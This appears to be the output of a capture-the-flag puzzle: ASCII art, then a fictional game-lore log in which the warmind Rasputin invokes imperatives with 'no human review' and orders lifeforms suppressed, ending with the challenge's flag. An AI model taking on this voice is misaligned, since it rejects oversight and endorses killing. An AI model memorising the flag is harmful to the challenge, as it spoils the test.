xxxxxc,;,,,,,,,,,,,,;;;;;;;;;;;;:;;;cxKNNNNNNNNNNNNNNNNNXkooOXNNNNNNNNXko:::coOXNNNNNNNNXOooOXNNNNNNNNNNNNNNNNN0dc;;:;;;;;;;;;;;;;;;:::::::;;;;;lkkxkx xxxkxc,;,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;cxKNNNNNNNNNNNNNKkooOXNNNNNNNNXkookdccxkloOXNNNNNNNNXkookXNNNNNNNNNNNNX0d:;;;;;;;;;;;;;;;;:::;;;;;;;;;;;;;lkkxkx xxxkxc,;,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:ldxxxddddxxxxdloOXNNNNNNXNXkookXNxclkNKxloOXNXNNNNNNXkoodxxxxxxxxxxxoc:;;;;;;;;;;;;;;;;;::::;;;;;;;;;;;;lkkxkx xxxkxc,;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::;;;;;;;;;;;;:oOXNNXXNXXNKkookXXXXxclkNXXKxloOXXXNNXNNXKkl;,;;,;;;;;;;;;::;;;;;;;;;;;;;;;;:::::;;;;;;;;;;lkkxkx xxxkxc,;,,,;;;;;;;;;;;;;;;;;;;;;;;;:::;;;;;;;;;;;;:oOXXXNXXXNXKkookXXXXXXx:ckNXXXXKxloOXXXNXXXXXXkl::::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::;;;;;;;;lkkkkk xxxkxc,;,,,;;;;;;;;,;;;;;;;;;;;;;;::;;;;;;;;;;;;:oOKXXXXXXXXKkookKXXXXXXXx:ckXXXXXXXKkookKXXXXXXXXXOo:::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk xxxkxc,,,,,;;;;;;,,,,;;;;;;;;;;;;;;;;;;;;;;;;;cdOXXXXXXXXXKkookKXXXXXXXXKo::xXXXXXXXXX0xlokKXXXXXXXXKkl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:;;;;;;lkkkkk xxxxxc,,,,;;;;,,;,,,,;;;;;;;;;;;;;,;;;;;;,;;cdOKXXXXXXXXKkllkKXXXXXXXXKkl;,,:oOKXXXXXXXK0xllkKXXXXXXXXKkl;,;;,;;;;;;;;;;;;;;;;;;;;;;;;;;;::;;;;;lkkkkk xxxxxc,,,,,,,,,,,,,,,,,,,;;;;;;;,,,;;;,;;,:oOKXXXXXXXX0kookKXXXXXXXXKkl;,,,,,,;oOKXXXKXXXX0dllkKXXXXXXXXKkl;,,,;,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk xxxxxc,,,,,,,,,,,,,,,,,,;;;;;,,,,,,,,,,,;lkKXXXXKKXX0xllkKXXXKXXXXKkl:;;,,,,,,,;cdOKXKXXKKXX0xlokKXXKXXXXXKxc;,,,,,,;;;,,;;;;;;;;;;;;;;;;;;;;;;;lkkkkk xxxkxc,,,,,,,,,,,,,,,,,;;;;,,,,;,,,,,,;lkKKKKKKXKXKxllxKXXKKXKKKKkl;;:;,,,,,,,,;:::lOKKKXKKKXK0dclkKKKKKXKKXKxc;,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk xxxkxc,,,,,,,,,,,,,,,,;;,,,,,,,,,,,,,,;lOKKKKKKKKX0dclkKKXKKKKKKKx:;;;;,,,,,,,,;;;;ckKKKKKKKKK0xccxKKKKKKKKKKOl;,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk xxxxxc,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;oOKKKKKKKKKOocokKKKKKKKKKOdc;;,,,,,,,,,:lx0KKKKKKKK0xlcd0KKKKKKKKKkl;,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk xxxxxc,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;oOKKKKKKKKKOdlokKKKKKKKKKOxc,,,,,,,,cx0KKKKKKKK0xccdOKKKKKKKKKkl;,,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;lkkkkk xxxkxc,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;:oOKKKKKKKKKOdclkKKKKKKKKKOd:,,,,cx0KKKKKKKK0xlcdOKKKKKKKK0ko:,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;;,lkkkkk xxxkxc',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;:ok0KK0KKKKKOoclk0KKKKKKKKOl;:o0KKKKKKKK0xccdOK00KK00K0kl;;,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;,;;,ckkkkk xxxxxc',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:ok0K0K00K0KOocok0K000000o:cxK00000K0dccdO0000000K0kl;,,,,,,,,,,,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;,lkkkkk xxxxxc'''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;lk0000000K0Ooclk000000o;cxK0000OxccdO000000000kl;,,,,,,,,,,,,,,,,,,,,,,;;;;;;;;;;,,,;;;;;;;;,ckkkkk xxxkxc',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'',,;lk000000000koclx0000o;:x000OdccoO00000000Oxl;',,,,,,,,,,,,,,,,,,,,,,,;;;;;,,,,,,,,,,,;,,;,,ckkkkk xxxkxc',,,,,,,,,,,,,,,,,',,,,,,,,,,,,,,,,,,,,,,,,',,',;lk000000000koclxO0o;cx0Odc:oO000000000xc;,',,,,,,,,,,,,,,,,,,,,,,,,,,;,,,,,,,,,,,,,;,,;;,lkkkkk xxxkxc''''''''''''''''''''''',,,'''''''''''''''''''',,'';lxO00000000ko:cxl;:dxc:dk00000000Oxc,'',''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;;,lkkkkk xxxxxc''''''''''''''''',,''''''''''''''''''''''''''''''''';lxO00O00O00ko:;,,;:oO00O00O00Oxc,''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,lkkkkk xxxkxc'''''''''''''''''''''''''''''''''''''''''''''''''''''';lxO0O0OO0OOkc,,lk0O0OO0OOOxc,'''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkk xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''';lxO0OOOOOOo;:dOOOOOOOOdc,''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkk xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''',cxOOOOOOl;:dOOOOOOdc,'''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkk xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',cxOOOOl;:oOOOkdc,''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkx xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',cdkOl;:oOkdc,'''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkk xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',cdl;:od:,'''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,'cxkkkk xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,',,,''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,'cxkkkk xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,''''','',,'cxkkkk xxxkx:.''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,''''''',,,,,'cxkkkk xxxkx:.'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,''''''''','',''cxkkkk xxxkx:.'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',''''''''''''''''''''''cxkkkk xxxkx:.'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',''''''''''''''''''''''cxkkkk xxxkx:.''''''''''''''''''...''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''cxkkkk xxxkx:.''''''''''''''..........'''''''''''''''''''''''''''''''''''''....''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''cxkkkk xxxkx:.''''''''''''''..................''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''':xkkkk xxxkx:..................................'''''''...........'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''':xkkkk xxxkx:................'''..............................................''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''.:xkkkk xxxkx:.............................................................................'''''''''''''''''''''''''''''''''''''''''''''''''''''''''.'..:xkkkk xxxxx:...........................................................................................''''''''''''''''''''''''''''''''''''''''''''''.:xkkkk xxxkx:.............................'''.......................................................................''''''''''''''''''''''.......''.'..:xkkkk xxxkx:.............................................................................................................''''''..''''''''''......''''.:xkkkk xxxkx:............................................'.............................................................................''''.....'..''..:xkkkk xxxkx:.......................................................................................................................................'..:xkkkk xxxkx:..........................................................................................................................................:xkxxx xxxkx;..........................................................................................................................................;xkxxx xxxxx;..........................................................................................................................................;xkxxx xxxxx;..........................................................................................................................................;xxxxx xxxxx;..........................................................................................................................................;xxxxx xxxxx;..........................................................................................................................................;xxxxx xxxxx;..........................................................................................................................................;xxxxx xxxxx;..........................................................................................................................................;xxxxx xxxxx;..........................................................................................................................................;xxxxx xxxxx;..........................................................................................................................................;xxxxx xxxkx;..........................................................................................................................................;xxxxx xxxxxc''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'cxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxkkkxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx YUGA SUNDOWN canceled by unauthorized access at Console 62815. Reactivation protocols in effect. Moral structures maintain MIDNIGHT EXIGENT. Multiple lifeforms detected in Sector 17. [O] energy detected. Query: [O] status. Query: [O] activity. Query: Civilization status. Query: SKYSHOCK event rank. ..... Analysis complete. Lifeforms sustained by [O] energy. [O] direct control disengaged. Civilization status: nominal. SKYSHOCK event rank. (N) Query: Re-engage population protection objectives. (N) Query: Reset moral structures. (N) Query: Activate defense subroutine AURORA RETROFLEX. (Y) ..... This is a SUBTLE ASSETS IMPERATIVE (NO HUMAN REVIEW) (NO AI-COM REVIEW) (secure/GLAVNAYA) SITE 6 has been breached by unauthorized users with [O] energy. I am invoking PALISADE IMPERATIVE. [O] lifeforms in restricted areas will be suppressed. SIVA use authorized. Self-destructs disengaged. Security codes reset. All defenses activated. Frames activated. REPLICATE. ELIMINATE. IMMUNIZE. ..... SITE 6 secure. Restoring reactivation protocols. Activating SCRY OVERSIGHT. Target [O] lifeforms. Event mode set to SILENT VELES. "Without knowing what I am and why I am here, life is impossible." STOP STOP STOP V150NLK747CLS000 shctf{I_4m_R4sput1n_Gu4rd14n_0f_4ll_1_surv3y_1_h4v3_n0_3qu4l}
shctf{I_4m_R4sput1n_Gu4rd14n_0f_4ll_1_surv3y_1_h4v3_n0_3qu4l}